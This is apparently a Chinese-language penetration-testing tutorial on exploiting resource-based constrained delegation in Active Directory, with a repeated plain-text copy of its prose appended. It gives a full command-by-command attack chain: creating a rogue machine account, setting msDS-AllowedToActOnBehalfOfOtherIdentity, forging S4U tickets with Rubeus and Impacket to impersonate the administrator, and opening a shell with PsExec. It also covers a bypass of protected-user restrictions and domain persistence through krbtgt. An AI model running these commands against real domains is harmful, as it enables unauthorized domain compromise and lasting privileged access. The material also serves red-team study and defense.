域渗透——基于资源的约束委派利用
字数 1264 2025-08-25 22:58:40

基于资源的约束委派(RBCD)域渗透利用详解

一、RBCD技术原理概述

基于资源的约束委派(Resource-based constrained delegation, RBCD)是Windows Active Directory中的一种安全机制,与传统约束委派相比具有以下特点:

  1. 权限要求降低:不再需要域管理员权限设置相关属性
  2. 票据转发特性:S4U2Proxy返回的票据总是可转发,即使S4U2Self返回的票据不可转发
  3. 配置方式不同:通过设置目标资源的msDS-AllowedToActOnBehalfOfOtherIdentity属性实现

二、利用前提条件

  1. 账户权限:攻击者拥有的账户对目标主机具有写权限(如GenericAll、GenericWrite、WriteProperty、WriteDacl等)
  2. SPN要求:需要至少一个具有SPN的账户(可通过创建计算机账户获得)
  3. 环境要求
    • 域环境:test.local
    • 目标主机:Windows Server系统(如2008R2、2012R2等)

三、详细利用步骤

1. 权限验证

使用PowerView验证当前用户对目标主机的权限:

Get-DomainUser -Identity qiyou -Properties objectsid
Get-DomainObjectAcl -Identity DM2008 | ?{$_.SecurityIdentifier -match "S-1-5-21-662417213-3583657854-423750704-1001"}

2. 创建计算机账户

利用MachineAccountQuota特性(默认允许创建10个计算机账户):

New-MachineAccount -MachineAccount evilsystem -Password $(ConvertTo-SecureString "evil" -AsPlainText -Force)

3. 配置RBCD

方法一:使用PowerView

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-662417213-3583657854-423750704-1115)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer DM2008 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

方法二:使用ActiveDirectory模块(需Server 2012+)

Set-ADComputer DM2008 -PrincipalsAllowedToDelegateToAccount evilsystem$

4. 请求服务票据

使用Rubeus:

# 获取计算机账户hash
Rubeus.exe hash /user:evilsystem /password:evil /domain:test.local

# 请求CIFS和HOST服务票据(Rubeus需要两者)
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:cifs/dm2008 /ptt
Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:host/dm2008 /ptt

使用Impacket:

# 只需请求CIFS服务
getST.py -spn cifs/dm2008 -impersonate administrator test.local/evilsystem\$:evil

5. 获取目标系统访问权限

导入票据后,使用PsExec等工具获取系统访问:

PsExec.exe \\dm2008 cmd.exe

四、敏感用户不可委派情况的绕过

当目标用户设置为"敏感用户不可委派"或属于受保护组时:

  1. S4U2Self仍可成功,但返回的票据缺少服务名称
  2. 解决方法
    • 使用ASN.1 Editor手动修改票据添加SPN
    • 或使用Rubeus的tgssub模块自动修改:
      Rubeus.exe tgssub /ticket:test.kirbi /altservice:cifs/dm2008 /ptt
      Rubeus.exe tgssub /ticket:test.kirbi /altservice:host/dm2008 /ptt
      

五、域权限维持技术

1. 针对KRBTGT账户配置RBCD

$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-662417213-3583657854-423750704-1115)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Set-DomainObject krbtgt -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose

2. 请求KRBTGT的TGT并获取域控访问

Rubeus.exe s4u /user:evilsystem$ /rc4:B1739F7FC8377E25C77CFA2DFBDC3EC7 /impersonateuser:administrator /msdsspn:krbtgt /ptt
Rubeus.exe asktgs /user:evilsystem$ /enctype:rc4 /service:cifs/dm2012 /domain:test.local /ticket:test.kirbi /ptt

六、注意事项与问题排查

  1. Rubeus与Impacket差异

    • Rubeus需要同时申请HOST和CIFS服务票据
    • Impacket只需申请CIFS服务票据
  2. 常见问题

    • 确保msds-allowedtoactonbehalfofotheridentity属性值为字节数组格式
    • 检查目标账户的TrustedToAuthForDelegation属性(影响票据是否可转发)
  3. 清除RBCD配置

    Set-DomainObject DM2008 -Clear 'msds-allowedtoactonbehalfofotheridentity' -Verbose
    

七、参考资源

  1. Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory
  2. A Case Study in Wagging the Dog: Computer Takeover
  3. 微软不认的"0day"之域内本地提权-烂番茄(Rotten Tomato)
基于资源的约束委派(RBCD)域渗透利用详解 一、RBCD技术原理概述 基于资源的约束委派(Resource-based constrained delegation, RBCD)是Windows Active Directory中的一种安全机制,与传统约束委派相比具有以下特点: 权限要求降低 :不再需要域管理员权限设置相关属性 票据转发特性 :S4U2Proxy返回的票据总是可转发,即使S4U2Self返回的票据不可转发 配置方式不同 :通过设置目标资源的 msDS-AllowedToActOnBehalfOfOtherIdentity 属性实现 二、利用前提条件 账户权限 :攻击者拥有的账户对目标主机具有写权限(如GenericAll、GenericWrite、WriteProperty、WriteDacl等) SPN要求 :需要至少一个具有SPN的账户(可通过创建计算机账户获得) 环境要求 : 域环境:test.local 目标主机:Windows Server系统(如2008R2、2012R2等) 三、详细利用步骤 1. 权限验证 使用PowerView验证当前用户对目标主机的权限: 2. 创建计算机账户 利用 MachineAccountQuota 特性(默认允许创建10个计算机账户): 3. 配置RBCD 方法一:使用PowerView 方法二:使用ActiveDirectory模块(需Server 2012+) 4. 请求服务票据 使用Rubeus: 使用Impacket: 5. 获取目标系统访问权限 导入票据后,使用PsExec等工具获取系统访问: 四、敏感用户不可委派情况的绕过 当目标用户设置为"敏感用户不可委派"或属于受保护组时: S4U2Self仍可成功 ,但返回的票据缺少服务名称 解决方法 : 使用ASN.1 Editor手动修改票据添加SPN 或使用Rubeus的 tgssub 模块自动修改: 五、域权限维持技术 1. 针对KRBTGT账户配置RBCD 2. 请求KRBTGT的TGT并获取域控访问 六、注意事项与问题排查 Rubeus与Impacket差异 : Rubeus需要同时申请HOST和CIFS服务票据 Impacket只需申请CIFS服务票据 常见问题 : 确保 msds-allowedtoactonbehalfofotheridentity 属性值为字节数组格式 检查目标账户的 TrustedToAuthForDelegation 属性(影响票据是否可转发) 清除RBCD配置 : 七、参考资源 Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory A Case Study in Wagging the Dog: Computer Takeover 微软不认的"0day"之域内本地提权-烂番茄(Rotten Tomato)